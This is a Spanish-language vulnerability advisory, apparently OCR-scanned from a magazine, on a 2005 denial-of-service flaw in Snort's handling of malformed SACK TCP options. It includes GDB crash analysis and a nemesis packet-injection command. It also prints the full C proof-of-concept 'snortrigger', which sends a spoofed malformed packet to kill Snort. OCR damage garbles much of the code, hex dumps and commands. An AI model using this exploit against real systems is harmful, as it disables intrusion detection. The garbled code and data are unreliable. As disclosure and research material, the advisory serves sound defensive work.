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SNORT

Error en el manejo de
condiciones excepcionales

Snort: www,snort.org
Riesgo: Alto

Snort <= 2.4.0 SACK TCP Optien Error Handling Snort 2.4.0 (y versiones previas)

INTRODUCCION
nort es un Sistema de Deteccién de Intrusos (IDS)
s de codigo abierto. Puede analizar el trifico de una
red en tiempo real, alertar, bloquear y loguear el pa-
quete en redes IP. Este utiliza un combinacién de analisis
de protocolo y pattern matching para detectar anomalias, malos
usos y ataques.

DESCRIPCION

Una vulnerabilidad encontrada en la funcién PrintT-
cpOptions() localizada en snort-2.4.0/src/log.c podria
permitir a un atacante crear un paquete TCP/IP malfor-
mado, enviarlo y generar un ataque de Denegacién de
Servicio o totalmente matar al proceso (Snort) en un sistema
remoto. Para testear esto, snort necesita estar corriendo en
modo vetbose (bandera -v). Vea la seccién de andlisis para
detalles técnicos.

VERSIONES VULNERABLES
Esta vulnerabilidad fue descubierta e investigada en los si-
guientes paquetes:
* snort 2.4.0 @ OpenBSD 3.7 GENERIC
* snort 2.4.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
* snort 2.3.2 @ Debian Linux 3.1 "Sarge"
* snort 2.3.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
* snort 2.3.0 @ Red Hat Linux 9
* snort 2.2.0 @ Ubuntu Linux 5.04 "Hoary Hedgehog"
* snort 2.0.0 @ OpenBSD 3.5 GENERIC. Es posible que
versiones previas también sean afectadas por esta vulnerabi-
lidad.

FECHAS DE PUBLICACION
Fallo descubierto: 20/08/2005.
Notificacion: 22/08/2005.
Respuesta: 23/08/2005.
Publicacién: 11,/09/2005.

ANALISIS
Fuzzeando Snort 2.4.0 con Fuzzball2,
se obtuvo:

08/21-11:22:18.674064 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800
len:0x36

127.0.0.1:80 -> 127.0,0,1:29383 TCP TTL:64 T0S:0x0 ID:64 IpLen:20
DamLen:40 DF

*EEAYR** Seq: OxO Ack: Ox4AZAC316 Win: OxO Tcplen: 20
0x0000: 00 000000000000 00000O0OBO 08004500 ...,
E:

0x0010: 00 28 00 40 40 00 40 06 3C 8E 7F 00 00 01 7F 00
N 6%~ - PR

0x0020: 00 01 00 50 72 C7 00 00 00 00 LA 2A C3 16 50 14 ...Pr.....
B
0x0030: 00 00 31 76 00 00 wdVos

08/21-11:22:18.676194 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800
len:0x3A

127.0.0.1:29383 -> 127.0.,0.1:80 TCP TTL:255 T0S:0x0 ID:48207 IpLen:20
DamlLen: 44

RrE¥**S* Seq: OxCCO016F Ack: Oxu3F18422 Win: 0x16D0 Tcplen: 24
TCP Options (2) => Violacién de segmento

El proceso recibe una sefial SIGSEGV; ahora se necesita
saber qué nimero de paquete causa esto:

rootablackbOx # snort -veX -1 1o -q > DUMP.log
Violacion de segmento

rootablackbOx # grep 127 DUMP.1log | wc -1

123

Hasta este momento se sabe que el paquete nimero 123 es
el malicioso (podtia cambiar)...
Analizando con GDB:
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rootablackbOx # gdb -g snort

Using host libthread db library /1ib/tls/i686/cmov/1ibthread_
d.so.1",

(gdb) r -veX -1 lo

Storting program: /usr/local/bin/snort -veX -i lo

...CORTADO. ..

08/21-11:25:40,328775 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
127.0.0,1:29383 -> 127,0,0,1:80 TCP TTL:255 T0S:0x0 ID:48207 IpLen:20
Domlen: 44

wessxxGr Seq: OxCC1016F Ack: Ox43F18422 Win: Ox16D0 Tcplen: 24
TCP Options (2) =>

Program received signal SIGSEGY, Segmentation fault.

0x0804fef2 in PrintTcpOptions (fp=0xb7f8f120, p=Oxbffff360) at log.
c:1543

1543 memcpy(tmp, p->tcp optionsiil.data, 2);

(gdb) print tmp

$1 = “\00O\OOO\0OONODO"

(gdb) print p

$2 = (Packet *) OxbfffT360

(adb) print i

$3=0

(gab) print p->tcp optionsiil

$4 = {code = 5 "\OO5', len = 0 "\0’, data = Ox0}

(gdb) print p->tcp optionsiil.code

$3 =5 "\005’
(gdb) x/4b p->tcp options data
0x824edd0: 0x05 Ox02 0x00  Ox00

El error esti en la linea 1543 de log.c

rootablackbOx: /home/nitrous/sof tware/snort-2.4.0/src # cat -n log.c |
grep -C 10 1543

1533 case TCPOPT_NOP:

1534 fwrite("NOP “, 4, 1, fp);

1535 break;

1536

1537 case TCPOPT WSCALE:

1538 forintf(fp, “WS: %u “, p->tcp options(il,
datal0l);

1539 break;

1540

1541 case TCPOPT_SACK:

1542 bzero((char *) tmp, 5);

1543 memcpy(tmp, p->tcp options[il.data, 2);

1544 forintf(fp, "Sack: %ua”, EXTRACT_
16BITS(tmp) ) ;

1545 bzero((char *) tmp, 5);

1546 memcpy (tmp, (p->tcp optionslil.data) + 2, 2);

1547 forintf(fp, “%u “, EXTRACT 16BITS(tmp));

1548 break;

1549

1550 case TCPOPT_SACKOK:

1551 fwrite(”SackoK “, 7, 1, f);

1552 break

Leyendo la salida de GDB se encuentra que el valor de p-
>tcp_options[i].code es 5 (TCPOPT_SACK).

Analizando el paquete completo con tcpdump:

#tcpdump -1 1o -eXX -c 123 | tail -5
11:17:55.093264 ip: 127.0.0.1.29383 > 127.0.0,1.80: S
213975407 :213975407(0) win 5840

0000: 4500 002c beuf 0000 Ff06 017a 7f00 0001 E..,A 0..Aé..Z....
0010: 7f00 0001 72c7 0050 Occl 016F 43f1 8422 ....rA .P.A .oCAt,”
0020: 6002 16d0 3caf 0000 0502 0000

Aparentemente los dltimos cuatro bytes son los maliciosos.
Por ello se crea nuestro propio paquete:

rootablackbOx # printf “\x05\x02\x00\x00" > payload

rootablackbOx # nemesis tcp -S 33.33.33.33 -D 127.0.0.1 -x 31337 -y
64876 -0 ./payload

TCP Packet Injected

Y de nuevo se obtiene:

rootablackbOx # snort -veX -i lo -q

08/21-11:54:34,449751 0:0:0:0:0:0 -> 0:0:0:0:0:0 type:0x800 len:0x3A
33,33,33.33:31337 -> 127.0.0.1:64876 TCP TTL:255 T0S:0x0 ID:61316
IpLen:20 DamlLen:44

wumwnxS* Seq: OxUOGFEBBE2 Ack: Ox1494CF39 Win: Ox1000 Tcplen: 24
TCP Options (2) == Violacidn de segmento

Pero el fallo parece no afectar las configuraciones normales .
del IDS (sin -v activado):

rootablackbOx # snort -c etc/snort.conf -D
rootablackbOx # ps aux | grep snort

root 9947 5.3 31.6 38616 34720 ? Ss
-c ete/snort.conf -D

root 9949 0.0 0.6 3384 760 pts/1 S+ 11:24 0:00 grep snort
rootablackbOx # ./snortrigger localhost

-=[ Snort <= 2,4.0 Trigger pOc

-=[ By nitrOus

11:24  0:00 snort

-=[ Sending Malformed TCP/IP Packet...
-=[ Sent 44 bytes to localhost

-=[ Snort killed !

rootablackbOx # ps aux | grep snort
root 9347 1.9 31.6 38616 34736 ?
-c etc/snort.conf -D

root 9952 0.0 0.6 3384 760 pts/2 S+ 11:24 0:00 grep snort

Ss  11:24  0:00 snort

Ver el codigo de concepto.
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Snort <= 2,4.0 SACK TCP Option Error Handling

Este codigo envia al host especificado un paauete TCP/IP con 4 bytes
extras,

correspondientes al campo TCP Options [TCP Headerl.

Estos 4 bytes son "x0S\x0Z\x00\x00”, NOTA!!! Snort solamente cge
cuando se

estd corriendo en verbose mode (-v),
Como el campo TCP->th sum es O (cero), el primer Router por donde
pase este paquete 1o descartaric por no tener una checksum vdlida;
pero usando fragmentacidn IP se podria rutear hasta el destino a mds
de un salto (hop).

Este ejemplo sin fragmentacidn sélo funciona de una mdquing a otra
directamente conectada

RFC #1072 - TCP Extensions for Long-Delay Paths
3.2- TCP SACK Option:

Kind: 5

Length: Vaoriable

R o Fom T — S e +
| Kind=5 | Length | Relative Origin | Block Size |
F SR — TR L . e e S S T —— +

Analizando el packete con ‘tcpdump’ en OpenBSD 3.5 se ve:
11:17:53.093264 ip: 127.0,0.1.29383 > 127.0.0.1.80: S

213975407 : 213975407(0) win 5840

<mal formed sack [len 01 ,eol>

0000: 4500 002c bcuf 0000 ffO6 O17a 7f00 0001 E..,R 0..Aé..z....
0010: 7f00 0001 72c7 0050 Occl 016f 43fl 8422 ....rA .P.A .oCA+."
0020: 6002 1600 3caf 0000 0502 0000 Ll sy

Testeado en:

[+] snort 2,4.0 @ OpenBSD 3.7 GENERIC // Yeah ;)
snort 2.4.0 @ Ubuntu Linux 5.04 “Hoary Hedgehog”
snort 2.3.2 a Debian Linux 3.1 "Sarge”

snort 2,3.0 @ Ubuntu Linux 5.04 “Hoary Hedgehog”
snort 2.3.0 @ Red Hat Linux 9

snort 2.2.0 @ Ubuntu Linux 5.04 “Hoary Hedaehog”
snort 2.0.0 @ OpenBSD 3.5 GENERIC

[+

[+

[+

[+

[+

[+

Saludos o vulnfact.com, CRAC, stacked, ran, dex, benn, beck, zlotan,

Rowter, Gus, Crypkey,

protoloco, Falckon, dymitri, #cum ppl, warlord/nologin.org por fuzz-
ball2 fuzzer, gearrillog,

JSS, v en especial a Moriita ( Sexy Colombiana ;) ). A la misica de
“Sussie 4" ;)...

Federico L. Bossi Bonin
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#include<stdio.h>
#include<string.h=
#include<unistd.h>
#include<errno.h>
#include<netdb.h>
#include<sys/types.h>
#include<sys/socket . h>
#include<netinet/in.h>
//#define  USE BSD 1
#include<netinet/ip.h=
#define  FAVOR BSD 1
#include<netinet/tcp.h>

/* Use BSD’s ip header style */

/* Use BSD's tcp header style */

#define IPSIZE sizeof(struct ip)
#define TCPSIZE sizeof(struct tcphdr)
#define DEFAULT SRC IP "200,31.33,70"

char triggerl] = "\x05\x02\x00\x00"; /* Malformed SACK TCP Option */

int usage(char *name)
{

fprintf(stderr, “Usage: %s <target> [spoofed srcipl\n”,
name) ;

forintf(stderr, “\t\tDefault srcip = %Zs\n", DEFAULT SRC
IP);

return 0;
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I\n”,

SRC

int main(int argc, char **argv)
{
char *packet= (char *) malloc(IPSIZE + TCPSIZE + 4);
char *srcip = DEFAULT SRC IP;
int sockfd, count;
int one = 1, /* setsockopt() */
struct sockaddr in target;
struct hostent *host2ip;
struct ip *IP = (struct ip *) packet:
struct tcphdr *TCP = (struct tephdr *) (packet + IPSIZE);

if(argc < 2)
return(usage(*argv)) ;

if(argc = 3)
srcip = argvi2];

if((host2ip = gethostbyname(argvill)) == NULL){
perror("gethostbyname”) ;
exit(-1);

if(getuidO) 1= 0
fprintf(stderr, “Ups!, must be r00t to perform RAW
sockets\n") ;
exit(=1);

memset (packet, O0x00, sizeof(packet));

memset(&target, 0x00, sizeof(target));
target.sin family = AF_INET;
target.sin port
target.sin addr

= htons(64876) ;
= *((struct in_addr *)hostZip-

>h addr) ;

/*** BUILDING MALFORMED PACKET ***/
IP->ip hl = OX05;
IP->ip v = Ox04;

IP->1p_tos = 0x00;

IP->ip len = IPSIZE + TCPSIZE + 4;
IP->ip id = OX00;

IP->ip off = 0x00;

IP->ip ttl = Oxff;

IP->ip p = IPPROTO_TCP;

IP->ip_sum = 0x00;

IP->ip src.s addr = inet addr(srcip);
IP->ip dst,s oddr = target.sin addr.s_addr;

TCP->th sport = htons(31337) ;
TCP->th dport = target.sin port;
TCP->th seq = 0x00;

TCP->th ack = 0x00;

TCP->th x2 = 0x00;

TCP->th off = Ox06;

TCP->th flags =0x00; /* NOSyn ;) */
TCP->th win = htons(Oxffir);
TCP->th_sum = 0x00;

TCP->th urp = 0x00;

memcpy(packet + IPSIZE + TCPSIZE, trigger, 4);
/éii EN‘D &&4/

if((sockfd = socket(PF INET, SOCK RAW, IPPROTO TCP)) — -
D
perror(*“socket") ;
exit(-1);

if(setsockopt(sockfd, IPPROTO IP, IP HDRINCL, &ocne,
sizeof(one)) = -1{
perror(”setsockopt”) ;
exit(-1);

printf(“-=[ Snort <= 2.4.0 Trigger pOc\n”);
printf(”-=[ By nitrOus <nitrouslatlvulnfact(dot]com\n\n");
printf(“-=[ Sending Malformed TCP/IP Packet...\n");

if((count = sendto(sockfd, packet, IP->ip len, 0, (struct
sockaddr *)&target, sizéof(target))) = -1){
perror(“sendto”) ;
close(sockfd) ;
exit(-1);

printf(“-=[ Sent 7d bytes to %s\n”, count, argv(1l);
printf(”-=f Snort killed \n");

close(sockfd) ;
return 0;

}

RESPUESTA

Aln trabajando para lanzar la versién 2.4.1 de Snort.

LINK

Cadigo del concepto
www.vulnfact.com/exploits/snortrigger.c
Fuzzhall2 TCP/IP Options Fuzzer

www.nologin.org/main.pl?action=codeView&codeld=54&
RFC #1072 - TCP Extensions for Long-Delay Paths
ftp://ftp.rfceditor.org/in-notes/rfc1072.txt

TCP Option Numbers
www.iana.org/assignments/tcp-parameters x
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